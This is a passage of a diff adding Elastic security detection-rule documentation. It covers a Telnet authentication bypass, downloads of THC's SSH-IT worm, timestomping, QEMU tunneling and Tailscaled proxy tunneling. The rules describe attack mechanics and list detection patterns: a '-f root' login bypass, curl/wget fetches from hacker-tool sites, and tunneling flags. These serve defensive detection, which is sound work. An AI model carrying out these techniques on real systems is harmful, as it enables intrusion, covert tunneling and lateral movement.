({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/ +* https://security-tracker.debian.org/tracker/CVE-2026-24061 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2026-24061 + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Telnet Authentication Bypass (CVE-2026-24061)* + + +CVE-2026-24061 is a critical authentication bypass vulnerability affecting `telnetd` in GNU Inetutils. By supplying a +crafted `-f root` value through the USER environment variable, a remote attacker can bypass authentication and gain +unauthorized root-level access. This exploit results in the `login` process being executed with attacker-controlled +arguments, typically spawned by `telnetd` or via `xinetd`. + +This rule detects suspicious `login` executions associated with Telnet services that include the `-f` flag, which +forces authentication as a specified user and is indicative of exploitation attempts. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for the suspicious `login` process. + - Confirm whether `login` was spawned by `telnetd` or indirectly via `xinetd`. + - Review the command-line arguments passed to `login`, paying special attention to the presence of `-f` and any + attempts to authenticate as `root` or other privileged users. +- Validate whether the Telnet service is expected to be running on the affected host. + - Telnet is deprecated and should rarely be exposed or enabled in modern environments. +- Investigate post-authentication activity originating from the compromised session. + - Look for command execution, file modifications, privilege escalation attempts, or persistence mechanisms. + - Review network connections initiated after the suspicious login event. +- Check for additional alerts or suspicious activity on the same host within the past 48 hours. +- Determine whether the system is running a vulnerable version of GNU Inetutils telnetd. + + +*False positive analysis* + + +- Legitimate use of the `-f` flag with `login` is extremely rare and typically restricted to trusted, local workflows. +- False positives may occur in highly customized or legacy environments where Telnet is still in use. +- Any benign occurrences should be carefully validated and documented before adding exceptions. + + +*Related Rules* + + +- Telnet Authentication Bypass via User Environment Variable - "eb3150eb-e9fb-4a64-a0fc-aa66cdd35632" + + +*Response and remediation* + + +- Immediately isolate the affected host to prevent further unauthorized access or lateral movement. +- Terminate suspicious Telnet sessions and collect volatile forensic data where possible. +- Investigate for signs of credential access, persistence, or follow-on exploitation. +- Patch or upgrade GNU Inetutils to a version that addresses CVE-2026-24061. +- Disable the Telnet service entirely if it is not explicitly required. +- Enforce the use of secure alternatives such as SSH for remote administration. +- Rotate credentials for any accounts that may have been exposed or accessed. +- Perform a full system integrity review and antimalware scan. +- Update hardening, monitoring, and logging policies to improve detection of legacy remote access abuse. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed") and + process.name == "login" and process.parent.name in ("telnetd", "xinetd") and process.args : "-*f*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-thc-tool-downloaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-thc-tool-downloaded.asciidoc new file mode 100644 index 0000000000..f8f427e0ea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-thc-tool-downloaded.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-potential-thc-tool-downloaded]] +=== Potential THC Tool Downloaded + +Identifies processes that are capable of downloading files with command line arguments containing URLs to SSH-IT's autonomous SSH worm. This worm intercepts outgoing SSH connections every time a user uses ssh. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.thc.org/ssh-it/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential THC Tool Downloaded* + + +The Hacker's Choice is a suite of hacker tools that are frequently used by threat actors. One common tool is SSH-IT, which is an autonomous worm that exploits SSH connections to propagate across networks. It hijacks outgoing SSH sessions, allowing adversaries to move laterally within a compromised environment. Attackers often use tools like curl or wget to download the worm from specific URLs. The detection rule identifies these download attempts by monitoring process activities on Linux systems, focusing on command-line arguments that match known malicious URLs, thereby alerting security teams to potential threats. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process name (either curl or wget) and the URL involved in the download attempt to confirm it matches one of the known malicious URLs listed in the query. +- Check the process execution context, including the user account under which the process was executed, to determine if it was initiated by a legitimate user or potentially compromised account. +- Investigate the source IP address and hostname of the affected Linux system to understand its role within the network and assess the potential impact of lateral movement. +- Examine the system's SSH logs to identify any unusual or unauthorized SSH connections that may indicate further compromise or lateral movement attempts. +- Analyze the network traffic logs for any outbound connections to the identified malicious URLs to confirm whether the download attempt was successful and if any additional payloads were retrieved. +- Review historical alerts and logs for any previous similar activities on the same host or user account to identify patterns or repeated attempts that may indicate a persistent threat. + + +*False positive analysis* + + +- Legitimate administrative tasks using curl or wget to download files from the internet may trigger the rule. To manage this, security teams can create exceptions for specific URLs or IP addresses known to be safe and frequently accessed by administrators. +- Automated scripts or cron jobs that use curl or wget to download updates or configuration files from trusted internal or external sources might be flagged. Users can whitelist these scripts or the specific URLs they access to prevent unnecessary alerts. +- Development or testing environments where developers frequently download open-source tools or libraries using curl or wget could generate false positives. Implementing a policy to exclude these environments from the rule or setting up a separate monitoring profile for them can help reduce noise. +- Security tools or monitoring solutions that use curl or wget for health checks or data collection might be mistakenly identified. Identifying these tools and excluding their known benign activities from the rule can help maintain focus on genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further lateral movement by the SSH-IT worm. +- Terminate any suspicious processes identified as using curl or wget with the malicious URLs to stop the download and execution of the worm. +- Conduct a thorough scan of the isolated host using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any instances of the SSH-IT worm. +- Review and reset credentials for any SSH accounts that may have been compromised, ensuring the use of strong, unique passwords and considering the implementation of multi-factor authentication (MFA). +- Analyze network logs and SSH access logs to identify any lateral movement or unauthorized access attempts, and take steps to secure any other potentially compromised systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Update firewall and intrusion detection/prevention system (IDS/IPS) rules to block the known malicious URLs and monitor for any future attempts to access them. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + process.name in ("curl", "wget") and process.args : ( + "https://github.com/hackerschoice/*", "https://thc.org/*", "http://nossl.segfault.net/*", "https://gsocket.io/*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: SSH Hijacking +** ID: T1563.001 +** Reference URL: https://attack.mitre.org/techniques/T1563/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-timestomp-in-executable-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-timestomp-in-executable-files.asciidoc new file mode 100644 index 0000000000..f53367a3df --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-timestomp-in-executable-files.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-potential-timestomp-in-executable-files]] +=== Potential Timestomp in Executable Files + +Identifies the modification of a file creation time for executable files in sensitive system directories. Adversaries may modify file time attributes to blend malicious executables with legitimate system files. Timestomping is a technique that modifies the timestamps of a file often to mimic files that are in trusted directories. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential Timestomp in Executable Files* + + +This alert indicates that a process modified the creation timestamp of a file with an executable extension in a sensitive Windows directory or a common persistence location. Timestomping can be used to make recently created or modified files appear older and blend in with legitimate system content. + + +*Possible investigation steps* + +- Establish scope and validate context: + - Identify the affected endpoint using `host.name` and `host.id`, and determine whether similar alerts or related file-timestamp changes are occurring on the same host. + - Review `user.name`, `user.domain`, and `user.id` to understand whether the account typically performs administrative or software management activities on this endpoint. + - Use `@timestamp` to bound a focused time window for pivots (for example, shortly before and after the change). + +- Assess the timestamp change behavior: + - Compare `winlog.event_data.PreviousCreationUtcTime` to `winlog.event_data.CreationUtcTime` and note whether the timestamp was backdated, forward-dated, or aligned to an apparent baseline. + - Identify whether multiple files were modified in the same window by searching for additional events on the same `host.id` and `process.entity_id`. + +- Evaluate the target file: + - Review `file.path`, `file.directory`, `file.name`, and `file.extension` to determine whether the target is expected in that location and whether the name resembles a legitimate component for the directory. + - If the file is in a Startup location, treat it as a potential persistence artifact and prioritize determining whether it later executed on the host. + - If the file is in a system directory, assess whether the host role and recent maintenance activity could reasonably explain changes to that specific file. + +- Investigate the process responsible for the change: + - Review `process.executable` and `process.name` for signs of an unusual execution location, unexpected binary name, or a process that does not normally manage files in the target directory. + - Pivot using `process.entity_id` (or `process.pid` within a narrow time range) to reconstruct process ancestry and command context using your available process telemetry. + - Look for additional activity by the same process in the same time window, such as other file modifications involving the same `file.path` or other executable files in similar directories. + +- Check for follow-on execution and related activity: + - Search for subsequent activity on the same `host.id` where `process.executable` matches the alerted `file.path`, which can indicate the modified file was executed after timestomping. + - If the target is a shortcut (`file.extension` such as `lnk`), look for later execution on the host that aligns with user logon activity for `user.id` and the alert timeline. + - Identify whether the same `file.name` and `file.path` appear on other endpoints, which may indicate propagation, a shared deployment mechanism, or a broader intrusion set. + + +*False positive analysis* + +- Enterprise software deployment, patching, and self-update mechanisms can rewrite binaries and adjust file metadata as part of normal operations. +- Backup, restore, profile reset, and file synchronization workflows can preserve or reapply timestamps when placing executables into directories. +- Administrative troubleshooting or recovery activities (for example, repairing installations or restoring components) may result in unexpected timestamp changes for legitimate files. + + +*Response and remediation* + +- If the activity is unexpected or suspicious: + - Contain the host to limit further tampering and reduce the risk of execution or persistence. + - Preserve evidence for the alert by capturing the values of `file.path`, `process.executable`, `process.entity_id`, `user.id`, and the before/after timestamps, and collect related events on the same `host.id` in the surrounding window. + - Determine whether the affected file executed after the change by correlating activity on the same `host.id` and comparing `process.executable` to the alerted `file.path`. + - Acquire and analyze the target file and the modifying process binary using your standard tooling to assess reputation, integrity, and suspected origin. + - Remove or quarantine malicious files and remediate unauthorized persistence, especially for items placed in Startup locations. + - Scope across the environment for the same `file.path`, `file.name`, and `process.executable`, and apply containment actions to additional affected hosts as needed. + - If compromise is suspected, review access associated with `user.id` and follow incident response procedures for account containment and recovery. + +- If the activity is confirmed benign: + - Document the legitimate software or workflow responsible for the timestamp change, including the expected `process.executable` and target paths, to support consistent triage and future tuning. + + +==== Setup + + + +*Setup* + + +This rule requires Sysmon telemetry to be enabled and ingested. + +Setup instructions: https://ela.st/sysmon-event-2-setup + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and + event.provider == "Microsoft-Windows-Sysmon" and event.code == "2" and + file.extension : ( + "exe", "dll", "sys", "msi", "scr", "pif", "lnk" + ) and + file.path : ( + "?:\\Windows\\System32\\*", + "?:\\Windows\\SysWOW64\\*", + "?:\\ProgramData\\*", + "?:\\Users\\Public\\*", + "?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", + "?:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" + ) and + not process.executable : ( + "?:\\Program Files\\*", + "?:\\Program Files (x86)\\*", + "?:\\ProgramData\\Microsoft\\Windows Defender\\*", + "?:\\Windows\\system32\\cleanmgr.exe", + "?:\\Windows\\system32\\msiexec.exe", + "?:\\Windows\\syswow64\\msiexec.exe", + "?:\\Windows\\system32\\svchost.exe", + "?:\\Windows\\System32\\Robocopy.exe", + "?:\\Windows\\SysWOW64\\Robocopy.exe", + "?:\\Windows\\explorer.exe", + "?:\\Windows\\system32\\Dism.exe", + "?:\\Windows\\system32\\DFSRs.exe", + "?:\\Windows\\system32\\wbengine.exe", + "?:\\Windows\\system32\\CompatTelRunner.exe", + "?:\\Windows\\system32\\SearchIndexer.exe", + "?:\\Windows\\system32\\wuauclt.exe", + "?:\\Windows\\servicing\\TrustedInstaller.exe", + "?:\\Windows\\WinSxS\\*\\TiWorker.exe", + "?:\\Windows\\Microsoft.NET\\*", + "?:\\Windows\\SystemApps\\*", + "?:\\Windows\\uus\\*\\wuaucltcore.exe", + "?:\\$WINDOWS.~BT\\Sources\\mighost.exe" + ) and + not (process.executable : "?:\\Windows\\System32\\spoolsv.exe" and file.path : "?:\\Windows\\System32\\spool\\*") and + not user.name : ("SYSTEM", "Local Service", "Network Service") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Timestomp +** ID: T1070.006 +** Reference URL: https://attack.mitre.org/techniques/T1070/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-traffic-tunneling-using-qemu.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-traffic-tunneling-using-qemu.asciidoc new file mode 100644 index 0000000000..ab7df069f8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-traffic-tunneling-using-qemu.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-potential-traffic-tunneling-using-qemu]] +=== Potential Traffic Tunneling using QEMU + +Identifies the use of the QEMU hardware emulator to potentially tunnel network traffic between Virtual machines. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securelist.com/network-tunneling-with-qemu/111803/ +* https://blog.xpnsec.com/bring-your-own-vm-mac-edition/ +* https://www.huntress.com/blog/active-exploitation-solarwinds-web-help-desk-cve-2025-26399 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Protocol Tunneling +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Traffic Tunneling using QEMU* + + +QEMU is a legitimate virtualization and emulation platform used for system testing and development. However, its advanced networking features can be abused to tunnel network traffic, forward ports, and create covert communication channels between systems. The detection rule identifies suspicious QEMU executions using networking-related arguments that are commonly associated with traffic forwarding and tunneling behavior. + + +*Possible investigation steps* + + +- Review the process command line for the presence of networking arguments such as `-netdev`, `hostfwd=`, `connect=`, `restrict=off`, and `-nographic`. +- Confirm whether QEMU is legitimately installed and expected to run on the affected system. +- Check the parent process to determine how QEMU was launched and whether the execution chain appears suspicious. +- Investigate the user account and host context to assess whether virtualization activity is normal for that environment. +- Analyze related network activity for signs of traffic forwarding, tunneling, or unauthorized external connections. +- Correlate the event with other telemetry (process creation, persistence mechanisms, or VM artifacts) for additional context. + + +*False positive analysis* + + +- Legitimate developer or research environments using QEMU for virtualization and testing may trigger this rule. +- Approved lab systems, malware analysis sandboxes, or CI/CD pipelines may use similar networking configurations. +- Internal training or testing environments may generate similar activity. + + +*Response and remediation* + + +- Isolate the affected system and terminate unauthorized QEMU processes. +- Investigate for signs of lateral movement or command-and-control activity. +- Remove unauthorized VM images, configurations, and persistence mechanisms. +- Rotate credentials and assess scope of impact if tunneling activity is confirmed. +- Escalate to the SOC or incident response team for further investigation. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and + process.args : "-netdev" and + ( + (process.args : "-nographic" and process.command_line : "*connect=*" and process.command_line : "*restrict=off*") or + process.command_line : "*hostfwd=*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-tunneling-via-tailscaled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-tunneling-via-tailscaled.asciidoc new file mode 100644 index 0000000000..ec55cf1e11 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-tunneling-via-tailscaled.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-potential-tunneling-via-tailscaled]] +=== Potential Tunneling via Tailscaled + +Identifies the use of Tailscaled to potentially tunnel network traffic. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination, or to bypass network restrictions and/or hide traffic from network monitoring. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://huggingface.co/blog/agent-intrusion-technical-timeline + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Threat: Protocol Tunneling +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Tunneling via Tailscaled* + + +This rule flags Tailscaled starting with proxy or SOCKS tunneling options, which can turn an endpoint into a covert relay for traffic that bypasses segmentation, egress controls, and normal monitoring. An attacker with access to a Windows, Linux, or macOS host can launch tailscaled.exe with a local SOCKS5 listener, then route remote administration, reconnaissance, or data-transfer traffic through the encrypted overlay to reach systems that were not directly accessible. + + +*Possible investigation steps* + + +- Determine whether the host is approved to run Tailscale by validating the user, device owner, recent change tickets, and any sanctioned remote-access or VPN use case. +- Review the execution chain and security context, including the parent process, command lineage, account privileges, logon session, and whether a service, scheduled task, or startup item was created to keep the tunnel available. +- Identify what the tunnel exposed by enumerating local listening ports, recent inbound and outbound connections, and any access to unusual internal subnets, administrative services, or blocked destinations after the process started. +- Correlate Tailscale-specific artifacts such as the logged-in tailnet, device registration or approval events, peer list, and advertised routes or exit-node settings to determine whether the node was joined to an unauthorized overlay. +- Hunt across the environment for the same user, tailnet, binary path, hash, or command pattern and review adjacent activity on the host for follow-on actions like remote administration, lateral movement, credential access, or data staging. + + +*False positive analysis* + + +- An administrator or engineer may legitimately start tailscaled with `--socks5-server` or `--outbound-http-proxy-listen` on an approved remote-access, lab, or jump system for maintenance, so verify the user and host are authorized for Tailscale and that the command line, install path, and start time match a documented change or normal operating pattern. +- A developer or IT user may temporarily enable these proxy options to troubleshoot connectivity between managed Windows, Linux, or macOS hosts, so confirm the activity with the asset owner and review resulting connections to ensure they were limited to expected internal destinations and business-related use. + + +*Response and remediation* + + +- Isolate the affected host from the network, terminate the running `tailscaled` process, and block the observed local proxy listener and any active Tailscale peer connections to stop the tunnel. +- Remove attacker persistence by uninstalling unauthorized Tailscale components and deleting related services, scheduled tasks, LaunchDaemons, systemd units, startup items, auth keys, and Tailscale state/config files left on the host. +- Revoke the enrolled device from the tailnet, invalidate any Tailscale auth keys or SSO sessions used to register it, and reset passwords or tokens for accounts that logged on while the tunnel was active. +- Restore the system to a known-good state by reimaging or recovering from a trusted backup if you cannot fully verify what the tunnel exposed or what changes were made after `tailscaled` was launched with proxy options. +- Escalate to incident response immediately if the tunnel reached domain controllers, administrative jump hosts, sensitive data repositories, or if you identify the same tailnet, binary, or proxy command line on multiple endpoints. +- Harden the environment by restricting Tailscale installation to approved systems, enforcing application control for `tailscaled`, limiting outbound access to Tailscale coordination or relay infrastructure where not required, and alerting on new proxy listeners or unauthorized tailnet enrollments. + + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and +process.name like~ ("tailscaled", "tailscaled.exe") and +process.args like~ ("*--socks5-server*", "*--outbound-http-proxy-listen*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-unauthorized-access-via-wildcard-injection-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-unauthorized-access-via-wildcard-injection-detected.asciidoc new file mode 100644 index 0000000000..9f2ec151a0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-unauthorized-access-via-wildcard-injection-detected.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-34-potential-unauthorized-access-via-wildcard-injection-detected]] +=== Potential Unauthorized Access via Wildcard Injection Detected + +This rule monitors for the execution of the "chown" and "chmod" commands with command line flags that could indicate a wildcard injection attack. Linux wildcard injection is a type of security vulnerability where attackers manipulate commands or input containing wildcards (e.g., *, ?, []) to execute unintended operations or access sensitive data by tricking the system into interpreting the wildcard characters in unexpected ways. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.exploit-db.com/papers/33930 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Unauthorized Access via Wildcard Injection Detected* + + +In Linux environments, commands like `chown` and `chmod` are used to change file ownership and permissions. Adversaries 